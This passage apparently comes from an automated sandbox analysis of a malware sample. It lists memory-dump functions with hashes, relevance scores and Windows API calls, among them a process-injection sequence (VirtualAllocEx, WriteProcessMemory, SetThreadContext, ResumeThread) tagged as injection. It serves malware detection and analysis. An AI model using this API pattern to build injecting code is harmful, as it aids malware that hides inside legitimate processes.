Opcode Fuzzy Hash: 704e30a047c79ce60f5bd4a5a92f80dfcb779cecf81f9db6b06d9cfd6728d46b
Instruction Fuzzy Hash: A7D19131A012259FDB04DFA4DD80AADB7BAFF94318F248129D419AB395DF35ED42CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00E27934, Relevance: 1.7, APIs: 1, Instructions: 245processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00E27B76

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 51da84e4c30063df373052739b4346107a656ca80252dfe61e6cd811f32640de
Instruction ID: a507b9bc14937df20c94b23fb8b97c99c3b14382e6cb40941407c0193847fe87
Opcode Fuzzy Hash: 51da84e4c30063df373052739b4346107a656ca80252dfe61e6cd811f32640de
Instruction Fuzzy Hash: 09913A71D04229DFDB10DFA8D8827DDBBB2BF48318F148569D849B7240DB749A85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00E27940, Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00E27B76

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b2666d5f66789e87f311efd61a55a438c26bce7b8777e96d37b245d87f572a6a
Instruction ID: 1837ff341b91f59c992e44a341a8080507146ad1011495bb7e620fec42de8cc1
Opcode Fuzzy Hash: b2666d5f66789e87f311efd61a55a438c26bce7b8777e96d37b245d87f572a6a
Instruction Fuzzy Hash: 77913C71D04229DFDF10DFA8D842BDEBBB2BB48318F148569D849B7240DB749A85CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E28E30, Relevance: 1.7, APIs: 1, Instructions: 230COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00E28E89

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 058cafca408db3507f97f4dab1dc639165b091de70b662d37e24ec53e0d7d494
Instruction ID: 2089422f4c3fa2b455aa1a0cafce53fc3ea4736023c832218e02d72263f4dbb0
Opcode Fuzzy Hash: 058cafca408db3507f97f4dab1dc639165b091de70b662d37e24ec53e0d7d494
Instruction Fuzzy Hash: 0AA15E70E011198FDB08EFAAE8997DCBBB2FF44355F19A028D002BB381D7399495CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00E28E2A, Relevance: 1.7, APIs: 1, Instructions: 153COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00E28E89

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8389583699b235a92e7f8e4c2475f90d7418d68fe6e0fd8fa9daaa378d645d9f
Instruction ID: d562417d02c38e799f30140b1cb98e925059a8a8c918089107c8fb2b68631bc1
Opcode Fuzzy Hash: 8389583699b235a92e7f8e4c2475f90d7418d68fe6e0fd8fa9daaa378d645d9f
Instruction Fuzzy Hash: 6F614A70E01119CFDB08EFA9E9996DCBBB2FF44314F15A128D006BB382D7399895CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00E270B0, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 00E27148

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 47ce1a3453227d60527677fc654de0119cefbc49f9839df9942b66c6e5a529b5
Instruction ID: f29fcbc353a2dd1fa77bcb47b9b0a0f471cb281ccd755313b8f78e449633b18d
Opcode Fuzzy Hash: 47ce1a3453227d60527677fc654de0119cefbc49f9839df9942b66c6e5a529b5
Instruction Fuzzy Hash: 3C213771D002199FCB00CFA9C9857EEBBF1BF48314F14842AE919B7640D778A955CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E270B8, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 00E27148

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3474baa481dccceec584e00399207ed189a334717ffc65585c22f3cea5270433
Instruction ID: ce0e001cd8542b0d1fa410d06c80cf1a821630ad4c01315ef3e7dc64d21bb485
Opcode Fuzzy Hash: 3474baa481dccceec584e00399207ed189a334717ffc65585c22f3cea5270433
Instruction Fuzzy Hash: C92135719002599FCB00CFA9C885BDEBBF5FF48324F148429E919A7240CB78A954CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E273A2, Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00E27428

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 8558a204373e03b04b1f67b4def33cff97d761e630a92c24b27801482d00477c
Instruction ID: 44c7f80e557adf147c9319a86a54431f079bc031e8c119382bc9a34880628df4
Opcode Fuzzy Hash: 8558a204373e03b04b1f67b4def33cff97d761e630a92c24b27801482d00477c
Instruction Fuzzy Hash: F62148B1C002199FCF00CFA9D8817EEBBB1FF48324F14842AE919B7640D7789905CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E273A8, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00E27428

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 693e65e722bd7d8a60c38e2c8116e0ad5d78f7ed8209be1cf99f6738d95096ea
Instruction ID: 0339eff175c5fdeda24cd8c4e79f01146730f172606d7fcb6bdedccf89812546
Opcode Fuzzy Hash: 693e65e722bd7d8a60c38e2c8116e0ad5d78f7ed8209be1cf99f6738d95096ea
Instruction Fuzzy Hash: 8B213671C002599FCB00DFA9D881BEEBBB5FF48324F50842AE919A7640C778A904CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E25D08, Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNEL32(?,00000000), ref: 00E25D8E

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 089afdcd887e9ec87fca97cc2de95ecf0343e734f243cf6f3ab1f3228d93d597
Instruction ID: 3af1cc532bac3087ac19cc1d7de2599112e770d4a54616df7e5996a4a8b543ce
Opcode Fuzzy Hash: 089afdcd887e9ec87fca97cc2de95ecf0343e734f243cf6f3ab1f3228d93d597
Instruction Fuzzy Hash: 36216872D006089FDB10CFA9C5857EEBBF0AF48328F54842ED419B7640CB78A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E25D10, Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNEL32(?,00000000), ref: 00E25D8E

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: b5abd68fc70a1c5e7fe0d39a6f5d088c7e6f462da0dc02c76cec1384e676d1d1
Instruction ID: 39c0e3b95e8e6e2a6f2a7b03525d1d76a614ce9091d1352761ff58b1f8338fcb
Opcode Fuzzy Hash: b5abd68fc70a1c5e7fe0d39a6f5d088c7e6f462da0dc02c76cec1384e676d1d1
Instruction Fuzzy Hash: 67213772D002089FDB10CFA9D8857EEBBF4AF48328F54842AD419B7640CB78A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E28D60, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

SetKernelObjectSecurity.KERNELBASE(?,?,00000000), ref: 00E28DDE

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: 6fd397c5235d36d3b2b7d3bc05c4d144c7039aefa669a21f7b696b61023bbe6d
Instruction ID: 91ef26b3b2af4752e6a37cc7613618c83873e0578b857d4b4b4145806c376ae1
Opcode Fuzzy Hash: 6fd397c5235d36d3b2b7d3bc05c4d144c7039aefa669a21f7b696b61023bbe6d
Instruction Fuzzy Hash: 742115B19002099FCB10CFAAD585BDEBBF4EB88324F148429E419B7740DB78A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E28D5F, Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SetKernelObjectSecurity.KERNELBASE(?,?,00000000), ref: 00E28DDE

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: 00d6cb1f0a5c5c4b96c95729a6efb8d02b0a9ebc31c3815dd2694d4862967adf
Instruction ID: 638e0a3cfccb1026436329791edda08723c1dd3302b57509f6fa87bfcf3b090b
Opcode Fuzzy Hash: 00d6cb1f0a5c5c4b96c95729a6efb8d02b0a9ebc31c3815dd2694d4862967adf
Instruction Fuzzy Hash: A821E5B19002199FCB10CFA9D585BEEBBF4AB48324F14842AD419B7740DB78A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E26DF2, Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 00E26E66

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 166df9f47c1e11cb8893552097c9e963e62019bcd17fe22150baf2988c5ae837
Instruction ID: 5184edfba8c91f7f57c55f94b036bd57e873e3301c0f0e9cbd53c750d6fd0092
Opcode Fuzzy Hash: 166df9f47c1e11cb8893552097c9e963e62019bcd17fe22150baf2988c5ae837
Instruction Fuzzy Hash: D31189B6C002489FCF01CFA9D8457DEBBB5AF48328F15841AD519B7610C779AA44CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E26DF8, Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 00E26E66

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1af01319646de66d4ebe8b7ba39d856fa75ac114937aafd4967e13dc950c43e2
Instruction ID: 126f12dedbe362e4ac11632f77ff47538e7a4b769af7465be2eb4bf3ceb42913
Opcode Fuzzy Hash: 1af01319646de66d4ebe8b7ba39d856fa75ac114937aafd4967e13dc950c43e2
Instruction Fuzzy Hash: C11156728002489FCF10DFA9D845BDFBBF5AB48324F148419E529B7610CB79A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E27F18, Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 00E27F7A

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2a9e5dba29a50a646acd9a3a789fe6351b1cf1b481cb7a97c8d048adb00a0a14
Instruction ID: 3d208dd8aea8fe822721557f106dbd25204c74032f4eebdc46da1fa97cb5ad4c
Opcode Fuzzy Hash: 2a9e5dba29a50a646acd9a3a789fe6351b1cf1b481cb7a97c8d048adb00a0a14
Instruction Fuzzy Hash: F0112871D042488FDB10DFA9D8457DEBBF5AB88328F148419D519B7640CB78A944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E27F1A, Relevance: 1.5, APIs: 1, Instructions: 48threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 00E27F7A

Memory Dump Source

Source File: 00000015.00000002.921964360.0000000000E20000.00000040.00000001.sdmp, Offset: 00E20000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4dc04b861655379ab922ff11f75268c8259fa5578217f2769f366ce8e1ca333d
Instruction ID: 0de01c98c7114688fa7cf18ed63e1328eab43ddb67674157de466627f86902f9
Opcode Fuzzy Hash: 4dc04b861655379ab922ff11f75268c8259fa5578217f2769f366ce8e1ca333d
Instruction Fuzzy Hash: 6F1136B1D042488FDB10DFA9D8457EEBBF5AB88328F24842DD419B7640CB78A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F9D3B4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.922958210.0000000000F9D000.00000040.00000001.sdmp, Offset: 00F9D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1c98e571e2559cb7a1816dc7c2b717d36deeef342ef80bba155f658b905db73
Instruction ID: 613ff1ade201dd170d96cc87d38ccec9862a920d33661c3d2d0571b038e460da
Opcode Fuzzy Hash: a1c98e571e2559cb7a1816dc7c2b717d36deeef342ef80bba155f658b905db73
Instruction Fuzzy Hash: 922125B2904240EFEF05CF14D9C0F26BB65FB84324F34C569E8094B646C336E856EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00F9D4A0, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.922958210.0000000000F9D000.00000040.00000001.sdmp, Offset: 00F9D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 569554d365ccbf773e8c404102a51ac5abfda819ce4f04c251af01aeb37de641
Instruction ID: e4b31c644ed6820846a9d3aa84b937e03cbb395270b4b64a98752e085574c4ed
Opcode Fuzzy Hash: 569554d365ccbf773e8c404102a51ac5abfda819ce4f04c251af01aeb37de641
Instruction Fuzzy Hash: EA2103B6904244DFEF01CF14D9C0B26BB65FB88328F388569E9090B256C336D845EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FAD01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.923427151.0000000000FAD000.00000040.00000001.sdmp, Offset: 00FAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa9a77f60f28f9216f929ef40d4c5ad6ee9d34f809003f7a3d563085e69f7bf1
Instruction ID: 579222dc00746565eb8818341f076ab18819bb657b88094a319e301796ec4315
Opcode Fuzzy Hash: fa9a77f60f28f9216f929ef40d4c5ad6ee9d34f809003f7a3d563085e69f7bf1
Instruction Fuzzy Hash: 092107B5904240DFDB14CF20D9C0B16BB65FB85324F24C56DD84A4BB4AC737D847DA62

Uniqueness

Uniqueness Score: -1.00%

Function 05013EE0, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.960808442.0000000005010000.00000040.00000001.sdmp, Offset: 05010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c15a7e5769e56876cdfe44f092e16f812e0c9ef01f7016d8c8eba6123a13610c
Instruction ID: 1981ca88a3575be55a3896f3b03557aaa49cd503d7913088a7a8dbf18d6be460
Opcode Fuzzy Hash: c15a7e5769e56876cdfe44f092e16f812e0c9ef01f7016d8c8eba6123a13610c
Instruction Fuzzy Hash: 1F218071B002054BDB44EF2CE881796F7EAEF99324F14C679E809EB345EB749845CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05013CD4, Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.960808442.0000000005010000.00000040.00000001.sdmp, Offset: 05010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5431c756ed25eaac8239e556ad84e5e8c98fb56942be0dc525fc3a4af7748508
Instruction ID: e72a0c7e5ce3a0bbc1b2361362eda52e14ca8ccf10f8d3ceffc646768fde9912
Opcode Fuzzy Hash: 5431c756ed25eaac8239e556ad84e5e8c98fb56942be0dc525fc3a4af7748508
Instruction Fuzzy Hash: 78218471B002054BDB44EF2CE8806C9F7E6EF99324F14CA79D809EF385DA749845CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00FAD005, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.923427151.0000000000FAD000.00000040.00000001.sdmp, Offset: 00FAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1dd5eba16f6fd34fda9109d0ad91ef08c4737e12020316b47533843f4f566e8
Instruction ID: 9b5eb1b3d2235044a4843ab422a5cb535a2457e14f08ae7b3c0da78e147ea570
Opcode Fuzzy Hash: d1dd5eba16f6fd34fda9109d0ad91ef08c4737e12020316b47533843f4f566e8
Instruction Fuzzy Hash: 4E2192755093C08FCB02CF20D990B15BF71EB46324F29C5EAD8498F697C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00F9D3AF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.922958210.0000000000F9D000.00000040.00000001.sdmp, Offset: 00F9D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a092fcaee0eb3c0328143d559cad57c1e6d0db94b124d186dd8b2323946d1c30
Instruction ID: c0e992d8e9686d07cac09db2dfaed742c52e13714445fe59eac86e90370405b7
Opcode Fuzzy Hash: a092fcaee0eb3c0328143d559cad57c1e6d0db94b124d186dd8b2323946d1c30
Instruction Fuzzy Hash: 07110376804280CFDF05CF14D5C0B16BF71FB84324F24C6A9D8480B616C336E856DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00F9D49B, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.922958210.0000000000F9D000.00000040.00000001.sdmp, Offset: 00F9D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a092fcaee0eb3c0328143d559cad57c1e6d0db94b124d186dd8b2323946d1c30
Instruction ID: 683ef769dd9c3909dba64b1269576319ff3eed08530164fe7041a2b5348918d1
Opcode Fuzzy Hash: a092fcaee0eb3c0328143d559cad57c1e6d0db94b124d186dd8b2323946d1c30
Instruction Fuzzy Hash: 6411DF76804280CFDF02CF04D5C0B16BF71FB84324F28C2A9D8050B616C336D856DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05013E61, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.960808442.0000000005010000.00000040.00000001.sdmp, Offset: 05010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ea77bbaabbfa3779ba956557df4020c65bdcf5648aa637a57945bd3b53232a3
Instruction ID: 842d875036102b86c871a409e25e8b152144fafdac65f767bd5f9a4db5de56d9
Opcode Fuzzy Hash: 7ea77bbaabbfa3779ba956557df4020c65bdcf5648aa637a57945bd3b53232a3
Instruction Fuzzy Hash: 16E06D35710510DFC704ABA8E819ADF7BBAEB88715B004158E20ACB362CFA55C4287D1

Uniqueness

Uniqueness Score: -1.00%

Function 05013E70, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.960808442.0000000005010000.00000040.00000001.sdmp, Offset: 05010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c67976dec1dda4294100ccde405b09494ba9e3f23b6330e61b14c59b9ebd0959
Instruction ID: dc311232cbf437b334ff700441ac44f3337153ac4779fa6f0857b8e5f3f9148f
Opcode Fuzzy Hash: c67976dec1dda4294100ccde405b09494ba9e3f23b6330e61b14c59b9ebd0959
Instruction Fuzzy Hash: 0BE08635710810CFC704ABA8E4199DE7BBAEB887117000054F50AC7391CF655C4287D1

Uniqueness

Uniqueness Score: -1.00%

Function 05013CC4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.960808442.0000000005010000.00000040.00000001.sdmp, Offset: 05010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bac8f168aecd4cb0731c413c3e24e8686514db2a094185b87672219449d0f00a
Instruction ID: 18aaf052c016734a6db34099779bb7ec254a0864e74ec15ec853713a883a6758
Opcode Fuzzy Hash: bac8f168aecd4cb0731c413c3e24e8686514db2a094185b87672219449d0f00a
Instruction Fuzzy Hash: 3BC08C23349638234808319830144EEF99EAB524603100C2BF909A7780CE460C0083CF

Uniqueness

Uniqueness Score: -1.00%

Function 05013EB9, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.960808442.0000000005010000.00000040.00000001.sdmp, Offset: 05010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0e5b21ff9a7a99d45e7aa634fa64aadae93dd76d15a818a9f566d6b03b14486
Instruction ID: c518b6129ad3a2689c1eedcf536476cf8a509521346234e08ea9766f51d8fd96
Opcode Fuzzy Hash: b0e5b21ff9a7a99d45e7aa634fa64aadae93dd76d15a818a9f566d6b03b14486
Instruction Fuzzy Hash: 37C0122270826423CA0976A478516DEFADD5B51460F48406BE9099A642DE89480183DE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: svchost.exe PID: 1424 Parent PID: 3840 svchost.exeCOMMON

Executed Functions

Function 05008968, Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.951734976.0000000005000000.00000040.00000001.sdmp, Offset: 05000000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: acd34db43fb62128656267c8d2011afe216735bb927ee60c8bef96e44c88ac56
Instruction ID: 076e359a1cf6153e908b6798a7e038a83906e67c0102ee237ae08298dfb907c0
Opcode Fuzzy Hash: acd34db43fb62128656267c8d2011afe216735bb927ee60c8bef96e44c88ac56
Instruction Fuzzy Hash: 78713771A00B058FE764DF29D455B9ABBF1FF89214F00892DD58AD7B40DB38E9068F91

Uniqueness

Uniqueness Score: -1.00%

Function 0500F16C, Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0500F28A

Memory Dump Source

Source File: 00000018.00000002.951734976.0000000005000000.00000040.00000001.sdmp, Offset: 05000000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 00b4ab501457669c608526ee56c2ca8960d3fad0c30772f5d679a40e16f45f5c
Instruction ID: 8c0c72c0e8db6c117540c2d79103859797683954679f5f6c2044b17e611c0951
Opcode Fuzzy Hash: 00b4ab501457669c608526ee56c2ca8960d3fad0c30772f5d679a40e16f45f5c
Instruction Fuzzy Hash: 2D51DEB5D003499FDB14CFA9D885ADEBFB1BF48314F24812AE819AB250D774A885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0500CFB4, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0500F28A

Memory Dump Source

Source File: 00000018.00000002.951734976.0000000005000000.00000040.00000001.sdmp, Offset: 05000000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: c5e5e3d724daabff97b45af52e8f2dc54ca648ec304353553b8f70747b343e15
Instruction ID: 4da2c9dda15eab4c36023d27ce8606b610ca10c65e2ecec6682489c714b5f1ee
Opcode Fuzzy Hash: c5e5e3d724daabff97b45af52e8f2dc54ca648ec304353553b8f70747b343e15
Instruction Fuzzy Hash: D751BDB5D003099FDB15CFA9D884ADEBBF5BF48314F24822AE819AB250D774A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05009324, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0500B246,?,?,?,?,?), ref: 0500B307

Memory Dump Source

Source File: 00000018.00000002.951734976.0000000005000000.00000040.00000001.sdmp, Offset: 05000000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: fcbec9465f2c06a5d35ce248e603051c9e9a5d51a9a82dd8eb8a9bcbeb78e345
Instruction ID: 2ee71c8d07905a85225fba5f48fe48ebd25587d97db8cf90991755c3fc98f7fa
Opcode Fuzzy Hash: fcbec9465f2c06a5d35ce248e603051c9e9a5d51a9a82dd8eb8a9bcbeb78e345
Instruction Fuzzy Hash: 8D21E6B5D002089FDB10CF99D585ADEBBF4FB48324F14841AE914B3350D778A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0500B278, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0500B246,?,?,?,?,?), ref: 0500B307

Memory Dump Source

Source File: 00000018.00000002.951734976.0000000005000000.00000040.00000001.sdmp, Offset: 05000000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: bc6aa223f9ae89818c7c3f0024ed6679ce5c8845d597b2060861754e7668e1bd
Instruction ID: b0ac58d2c90bfc00aea31ec1a78a1d54a0de136366c9eb17b3e518fa79b1053e
Opcode Fuzzy Hash: bc6aa223f9ae89818c7c3f0024ed6679ce5c8845d597b2060861754e7668e1bd
Instruction Fuzzy Hash: 902105B59012089FDB10CFA9D584ADEBFF8FB48324F14801AE914A3310D778A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05007D18, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,05008C29,00000800,00000000,00000000), ref: 05008E3A

Memory Dump Source

Source File: 00000018.00000002.951734976.0000000005000000.00000040.00000001.sdmp, Offset: 05000000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: dd64c37cb9c779cd4cca680941a1d4dab99a61c52193a487b9dacb17c6d2babe
Instruction ID: 7fb97ada1ded363eaf09015416fcdee6e463f3e8fb55eac44f2b3adb5a264d1a
Opcode Fuzzy Hash: dd64c37cb9c779cd4cca680941a1d4dab99a61c52193a487b9dacb17c6d2babe
Instruction Fuzzy Hash: C811F2B69002488FDB10CF9AD484ADEBBF4BB48324F10842EE519B7640C778A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05008DC8, Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,05008C29,00000800,00000000,00000000), ref: 05008E3A

Memory Dump Source

Source File: 00000018.00000002.951734976.0000000005000000.00000040.00000001.sdmp, Offset: 05000000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a38b1d5f7b1a2f7519decb3b58f133e62a2a3ee0d0a7f1893e69dd4db769b05f
Instruction ID: e9c3cc2d419675ded686b745f07a547d6e98e810f2ecaac5746351db5dd67f2a
Opcode Fuzzy Hash: a38b1d5f7b1a2f7519decb3b58f133e62a2a3ee0d0a7f1893e69dd4db769b05f
Instruction Fuzzy Hash: 8F1103B68002499FDB10CF9AD444ADEBBF4BB48324F14842EE419B7600C778A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05007CB0, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,0500897B), ref: 05008BAE

Memory Dump Source

Source File: 00000018.00000002.951734976.0000000005000000.00000040.00000001.sdmp, Offset: 05000000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 352a2ec516c7407f0e0d2e2721db936b233fe8680de7aaa1ec4465bea8d9d09a
Instruction ID: ca4b83628ea19a4fcb8176b545f5d1bba5258a25b86a7b86cba8b2da8968e71f
Opcode Fuzzy Hash: 352a2ec516c7407f0e0d2e2721db936b233fe8680de7aaa1ec4465bea8d9d09a
Instruction Fuzzy Hash: B11120B5C006488BDB10DF9AD444BDEFBF4FF48224F10846AD919B7640D378A546CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05007468, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

